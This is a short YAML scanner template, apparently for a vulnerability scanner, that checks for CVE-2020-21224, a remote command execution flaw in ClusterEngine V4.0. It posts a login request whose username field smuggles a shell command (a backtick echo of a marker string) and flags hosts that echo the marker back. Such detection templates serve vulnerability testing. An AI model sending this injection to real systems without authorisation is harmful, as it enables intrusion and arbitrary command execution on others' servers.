name: poc-yaml-clusterEngine-rce-cve-2020-21224 rules: - method: POST path: /login headers: User-Agent: >- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 body: op=login&username=;`echo 12345678987654321`&password= follow_redirects: false expression: | response.status==200 && response.body.bcontains(b'12345678987654321') detail: author: jdr info: CVE-2020-21224(ClusterEngineV4.0 RCE)